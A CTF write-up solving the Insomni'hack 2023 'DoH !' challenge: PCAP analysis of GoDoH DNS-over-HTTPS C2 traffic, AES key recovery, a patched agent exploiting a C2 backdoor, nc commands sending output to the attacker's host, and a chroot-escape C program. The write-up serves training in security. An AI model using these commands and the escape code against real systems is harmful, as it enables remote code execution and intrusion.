Insomni’hack 2023 CTF Teaser – DoH ! writeup

For this 2023 edition, i chose to focus on the DoH (DNS Over Https) protocol because it has gained popularity for attackers as a command and control (C2) communication channel for hiding DNS traffic through HTTPS rather than using the traditional DNS tunneling. In this post, i will describe in details how to solve the challenge.

For this challenge, i used the famous Godoh C2 framework maintained by Sensepost that uses DNS-over-HTTPS as a transport medium. For more details about how it works in practice, please refer to their article here.

Description

DoH !

The Powell Motors company provides a PCAP file which contains evidences of a potential data exfiltration with a large volume of suspicious DNS over HTTPS (DoH) requests. By analyzing the network traffic behavior, CSIRT team discovered that the attackers used the Godoh C2 framework as a covert channel for command and control (C&C) or data exfiltration to bypass security measures. Since the organization performed SSL break/inspection, all DoH traffic can be extracted from the PCAP Capture and analyzed. However, the security team was not able to find a way to decrypt data exchanges between the client and the C2 server. Some security researchers on social media also pointed that attackers left a backdoor in the C2 server that could allow remote code execution by sending a special crafted message using the C2 client…

  • Hint : Among the 5 secret keys returned by the DNS server, one of them is used to interact with the live c2 😉

Provided assets

  • PCAP capture : 2023-01-20-4023142337.pcap

Abstract

The PCAP capture contains a large amount of DNS-over-HTTPS traffic generated by the GoDoH C2 framework. By analyzing the communications, it appears that the C2 server is still up and running. The active domain contains a list of DNS record types. The obsolete NINFO record type returns a random hexadecimal value which looks like an AES secret key. Among the 5 secret keys returned by the DNS server, one of them is used by the active GoDoH server to encrypt data blobs in communications. By decrypting the GoDoH exchanges between the client and server, several responses sent by the client include a specific prefix “736372742e6368” followed by a command-line. By modifying the GoDoH client, we can send a special crafted message back to the server to perform remote code execution. Once exploited, the user is chrooted to a particular directory with a restricted shell. By using common bypass techniques, the user can break out of the chroot jail and find the flag.

Exploitation

Tools used

  • Wireshark
  • Golang
  • Docker
  • GCC

Reconnaissance

By analyzing the PCAP file using Wireshark, we can find a lot of DoH traffic using Google provider and two DNS lookup requests with an unknown type id 56 in the middle of nowhere… If we do a quick search on the Internet, this kind of id refers to the NINFO record type (ref. https://en.wikipedia.org/wiki/List_of_DNS_record_types). Maybe this kind of DNS record could store valuable information…

DNS NINFO Response

Let’s start by querying the insomnihack.tech for NINFO records and see if there is something interesting.

Extracting all possible AES keys returned by the NINFO record (Among the 5 possible keys, there is one used by the C2 server to encrypt blob data)

$ while true; do sleep 1; dig +short NINFO doh.insomnihack.tech >> list_keys.txt; done
$ cat list_keys.txt | tr -d '"' | sort -u
121fde15994f5bf3fbd3d434b32d31dd
3ccfefeb7d869971cb14f2607f8005a5
52191178ac14745ef0e7d83da95a76ea
9773e2216d31e339b69b2b9ed0c9cf58
ed5150f380df2571167928aed54bbf60

Replaying GoDoH exchanges

The quick and easy way to understand exchanges is to replay the network traffic from the PCAP file against a GoDoH server locally.

If we look at the TCP streams on Wireshark, we can extract the following parameters:

  • name parameter refers to the DNS lookup response sent by the C2 client.
  • type parameter refers to the record type id.
DoH TCP Streams

These parameters can help us reconstruct the DNS lookup responses made by the client.

Next, we can develop a simple script to parse the PCAP file and replay the GoDoH exchanges.

// DoHReplay.go
package main

import (
	"context"
	"fmt"
	"log"
	"net"
	"regexp"
	"time"

	"github.com/alecthomas/kong"
	"github.com/google/gopacket"
	"github.com/google/gopacket/pcap"
)

var (
	handle      *pcap.Handle
	dnsResolver string
	err         error
)

type Context struct {
	Debug bool
}
type VersionFlag string

var cli struct {
	DnsResolver string      `name:"dnsip" short:"r" default:"1.1.1.1" help:"Specify the DNS Resolver to use (default: 1.1.1.1)."`
	Version     VersionFlag `name:"version" short:"v" help:"Print version information and quit."`

	Replay struct {
		PcapFile string `arg:"" required:"" name:"pcapfile" help:"Input pcap file to be processed." type:"pcapfile"`
	} `cmd:"" help:"Replay GoDoH traffic."`
}

func (v VersionFlag) Decode(ctx *kong.DecodeContext) error { return nil }
func (v VersionFlag) IsBool() bool                         { return true }
func (v VersionFlag) BeforeApply(app *kong.Kong, vars kong.Vars) error {
	fmt.Println(vars["version"])
	app.Exit(0)
	return nil
}

func replayDoH(pcapFile string, dnsResolver string) {
	// Open the PCAP file
	handle, err = pcap.OpenOffline(pcapFile)
	if err != nil {
		log.Fatal(err)
	}
	defer handle.Close()

	// Set TCP filter
	var filter string = "tcp"
	err = handle.SetBPFFilter(filter)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println("Filter set to tcp.")

	// Parse the PCAP file
	packetSource := gopacket.NewPacketSource(handle, handle.LinkType())

	for packet := range packetSource.Packets() {
		// Dump TCP DATA
		applicationLayerData := packet.ApplicationLayer().Payload()
		sDATA := string(applicationLayerData[:])
		dnsRequestDataPattern := regexp.MustCompile(`(?:name=)(([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,})`)
		dnsRequestTypePattern := regexp.MustCompile(`(?:type=)(\d+)`)
		dnsRequestDataGroups := dnsRequestDataPattern.FindStringSubmatch(sDATA)
		dnsRequestTypeGroups := dnsRequestTypePattern.FindStringSubmatch(sDATA)
		if len(dnsRequestDataGroups) > 0 && len(dnsRequestTypeGroups) > 0 {
			dnsRequest := dnsRequestDataGroups[1]
			dnsType := dnsRequestTypeGroups[1]

			//Make DNS Requests
			r := &net.Resolver{
				PreferGo: true,
				Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
					d := net.Dialer{
						Timeout: time.Millisecond * time.Duration(10000),
					}
					return d.DialContext(ctx, network, dnsResolver+":53")
				},
			}

			switch dnsType {
			case "16":
				fmt.Println("Querying the TXT record: " + dnsRequest + " ...")
				dnsTXTResponse, _ := r.LookupTXT(context.Background(), dnsRequest)
				fmt.Println("DNS Response: ", dnsTXTResponse)
			case "1":
				fmt.Println("Querying the A record: " + dnsRequest + " ...")
				dnsAResponse, _ := r.LookupHost(context.Background(), dnsRequest)
				fmt.Println("DNS Response: ", dnsAResponse)
			}
		}
	}
}

func main() {
	start := time.Now()

	ctx := kong.Parse(&cli, kong.Name("DoHReplay"), kong.Description("A tool to replay PCAP over GoDoH C2 server files by Poyo"), kong.UsageOnError(), kong.Vars{"version": "1.0"})
	switch ctx.Command() {
	case "replay <pcapfile>":
		if cli.DnsResolver != "" {
			dnsResolver = cli.DnsResolver
		}
		replayDoH(cli.Replay.PcapFile, dnsResolver)
	default:
		panic(ctx.Command())
	}

	elapsed := time.Since(start)
	fmt.Printf("Execution took %s\n", elapsed)
}

To specify the AES key from the command line, we can use the custom GoDoH project here. This will help us save time when testing AES keys on our local server.

Starting GoDoH server by specifying an AES key

./godoh-linux64 c2 -k 121fde15994f5bf3fbd3d434b32d31dd

Replaying GoDoH against our local server using DoHReplay tool

./dohreplay-linux64 replay 2023-01-20-4023142337.pcap -r 127.0.0.1
Querying the TXT record: 7078706c6e.insomnihack.tech ...
DNS Response:  [v=B2B3FE1C]
Querying the A record: f4fa.be.0.00.1.0.0.0.0.insomnihack.tech ...
DNS Response:  [1.1.1.1]
Querying the A record: f4fa.ef.1.14b3234.1.3.5c825e634c43e0d46e69766153d8b1e733df2e4c8990e1ccb3b0e06e716e.b0e2dec8839f489ec1395f1c4691a8f1a443d0d5766827920d6b614f66d6.6b19cd08c312037835c7678be96f2aee5399c2d32a7435a98239c531e6a7.insomnihack.tech ...
DNS Response:  [1.1.1.1]
Querying the A record: f4fa.ef.2.19ca273a.1.1.9378b4596139726ac56ffa3abc19441ea6f1886fce0f.0.0.insomnihack.tech ...
DNS Response:  [1.1.1.1]
Querying the A record: f4fa.ca.3.00.1.0.0.0.0.insomnihack.tech ...
[...]

If we pick up a wrong key, the server will return errors that indicate that it was not able to decode and decompress the encrypted data blobs:

c2> 01 Feb 2023 00:14:39 INF first time checkin for new agent agent=pxpln
01 Feb 2023 00:14:39 INF new incoming dns stream agent=f4fa
01 Feb 2023 00:14:39 ERR failed to ungobpress error="pkcs7: Invalid padding" agent=f4fa

We can restart the local server by specifying another AES key until we find the right one. Once the right key is found (9773e2216d31e339b69b2b9ed0c9cf58), the output helps us identify what kind of commands were issued by the attackers from the C2 server:

01 Feb 2023 00:18:23 INF first time checkin for new agent agent=vcywp
01 Feb 2023 00:18:23 INF new incoming dns stream agent=8a25

Command Output:
-------

User accounts for \\DESKTOP-74KDSND

-------------------------------------------------------------------------------
Administrator            bobby                    DefaultAccount           
Guest                    WDAGUtilityAccount       
The command completed successfully.


01 Feb 2023 00:18:23 INF new incoming dns stream agent=389a
01 Feb 2023 00:18:23 INF new incoming dns stream agent=b2cb

Command Output:
-------

Windows IP Configuration

   Host Name . . . . . . . . . . . . : DESKTOP-74KDSND
   Primary Dns Suffix  . . . . . . . : 
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : network

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : network
   Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection #2
   Physical Address. . . . . . . . . : 52-54-00-5F-21-AB
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 192.168.100.190(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Lease Obtained. . . . . . . . . . : vendredi 20 janvier 2023 10:49:22
   Lease Expires . . . . . . . . . . : vendredi 20 janvier 2023 12:46:10
   Default Gateway . . . . . . . . . : 192.168.100.134
   DHCP Server . . . . . . . . . . . : 192.168.100.1
   DNS Servers . . . . . . . . . . . : 192.168.100.196
   NetBIOS over Tcpip. . . . . . . . : Disabled

[...]

Command Output:
-------

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : network
   IPv4 Address. . . . . . . . . . . : 192.168.100.190
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.100.134

01 Feb 2023 00:18:23 INF first time checkin for new agent agent=tdf6j
01 Feb 2023 00:18:23 INF new incoming dns stream agent=acb7

Command Output:
-------
desktop-74kdsnd\bobby

01 Feb 2023 00:18:23 INF first time checkin for new agent agent=bk6d3
01 Feb 2023 00:18:23 INF new incoming dns stream agent=6e6e

Command Output:
-------
736372742e6368nc 194.182.163.204 80 -c 'cat /etc/issue'
01 Feb 2023 00:18:23 INF new incoming dns stream agent=9f1b

[...]

The last output shows that the server seems to have received an arbitrary command with the specific prefix 736372742e6368 which seems to be some kind of backdoor.

Modifying the GoDoH client to perform RCE on C2 server

To trigger any commands on the server, we can modify our C2 client to send arbitrary outputs as follows:

// agent.go script
// executeCommand executes an OS command
func executeCommand(cmdBin string, cmdArgs []string) {
    log := options.Logger

    out, err := exec.Command(cmdBin, cmdArgs...).CombinedOutput()
    if err != nil {
        out = []byte(err.Error())
    }

    // Send our arbitrary response back to the server!
    commandOutput := protocol.Command{}
    if c2cmd != "" {
        out = []byte(c2cmd)
    }
    commandOutput.Data = out
    commandOutput.ExecTime = time.Now().UTC().UnixNano()
[...]

Rather than hardcoding the output command, we also added an additional parameter to the init() function:

// agent.go script
var c2cmd string
func init() {
    // setup proxy
    cobra.OnInitialize(configureProxy)

    rootCmd.AddCommand(agentCmd)
    agentCmd.Flags().StringVarP(&agentCmdAgentName, "agent-name", "n", "", "Agent name to use. (default: random)")
    agentCmd.Flags().IntVarP(&agentCmdAgentPoll, "poll-time", "t", 10, "Time in seconds between polls.")
    agentCmd.Flags().StringVarP(&proxyAddr, "proxy", "X", "", "Use proxy, i.e hostname:port")
    agentCmd.Flags().StringVarP(&proxyUsername, "proxy-username", "U", "", "proxy username to use")
    agentCmd.Flags().StringVarP(&proxyPassword, "proxy-password", "P", "", "proxy password to use")
    // send command to C2 (Experimental)
    agentCmd.Flags().StringVarP(&c2cmd, "cmd", "c", "", "send a specific command to the c2 server")
}

Performing RCE through the C2 backdoor

The last output command issued by the client gives us a hint on how to start to interact with the live C2 server.

Simple command to extract the content of the ‘/etc/issue’ file on C2 server

./godoh-linux64 agent -k 9773e2216d31e339b69b2b9ed0c9cf58 -p google -d insomnihack.tech -c "736372742e6368nc <MY_IP_ADDRESS> 80 -c 'cat /etc/issue'" -t 2

Output received from our netcat listener

nc -kvlp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 172.20.0.2.
Ncat: Connection from 172.20.0.2:41212.
Insomni'hack Alpine Jail GNU/Linux \n \l

Notice that the live GoDoH server only accepts HTTP and HTTPS outbound traffic !

The output reveals that the GodoH process is running in a kind of jail (chroot env) for alpine linux OS. By trying the basic linux commands like ls and such, we quickly figure out that only the following commands are available:

  • echo
  • base64
  • cat
  • whoami

To escape from the jail, we need to compile a binary and drop it on the server to break out of the chroot. The answer is on the Internet, and our precious can be found here… This binary first needs to be compiled for Alpine Linux, so let’s start a new Alpine docker container, install the necessary packages and compile the devil to retrieve the flag:

$ docker run -it alpine /bin/sh
$ apk add --no-cache musl-dev gcc make
$ vi unchroot.c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    mkdir("chroot-dir", 0755);
    chroot("chroot-dir");
    for(int i = 0; i < 1000; i++) {
        chdir("..");
    }
    chroot(".");
    // Invoke Find command to retrieve the flag and print the content
    system("/bin/sh -c 'find / -type f -name flag.txt -exec cat {} \\;'");
}
$ gcc unchroot.c -o unchroot && strip unchroot

Since the chmod command is not available from the jail, we need to find a way to execute our binary. A simple trick is to load our binary using the dynamic linker/loader /lib/ld-musl-x86_64.so.1 from musl-dev package.

Finally, we have all the pieces to build our final exploit command and grab the flag.

Capturing the Flag !

Final exploit to grab the flag !

./godoh-linux64 agent -k 9773e2216d31e339b69b2b9ed0c9cf58 -p google -d insomnihack.tech -c "736372742e6368nc <MY_IP_ADDRESS> 80 -c 'echo -n <UNCHROOT BINARY ENCODED IN BASE64 FORMAT> | base64 -d > unchroot && PATH=$PATH:/ && /lib/ld-musl-x86_64.so.1 /unchroot'" -t 2
nc -kvlp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 172.19.0.2.
Ncat: Connection from 172.19.0.2:58370.
INS{E@t_And_P0wn_My_GoD0h!}